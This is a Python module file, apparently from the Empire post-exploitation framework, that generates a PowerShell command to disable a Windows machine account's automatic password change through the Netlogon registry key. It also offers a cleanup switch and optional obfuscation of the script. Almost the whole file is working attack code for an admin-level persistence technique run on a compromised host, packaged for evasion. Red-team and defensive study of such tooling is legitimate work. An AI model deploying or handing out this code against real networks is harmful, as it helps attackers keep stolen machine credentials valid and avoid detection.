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https://github.com/EmpireProject/Empire
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xorrior
71 lines
2.5 KiB
Python
71 lines
2.5 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-DisableMachineAcctChange',
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'Author': ['@harmj0y'],
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'Description': ('Disables the machine account for the target system '
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'from changing its password automatically.'),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : True,
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'OpsecSafe' : True,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': []
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'CleanUp' : {
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'Description' : 'Switch. Re-enable machine password changes.',
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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cleanup = self.options['CleanUp']['Value']
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if cleanup.lower() == 'true':
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script = "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 0; 'Machine account password change re-enabled.'"
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if obfuscate:
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script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
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return script
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script = "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 1; 'Machine account password change disabled.'"
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if obfuscate:
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script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
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return script
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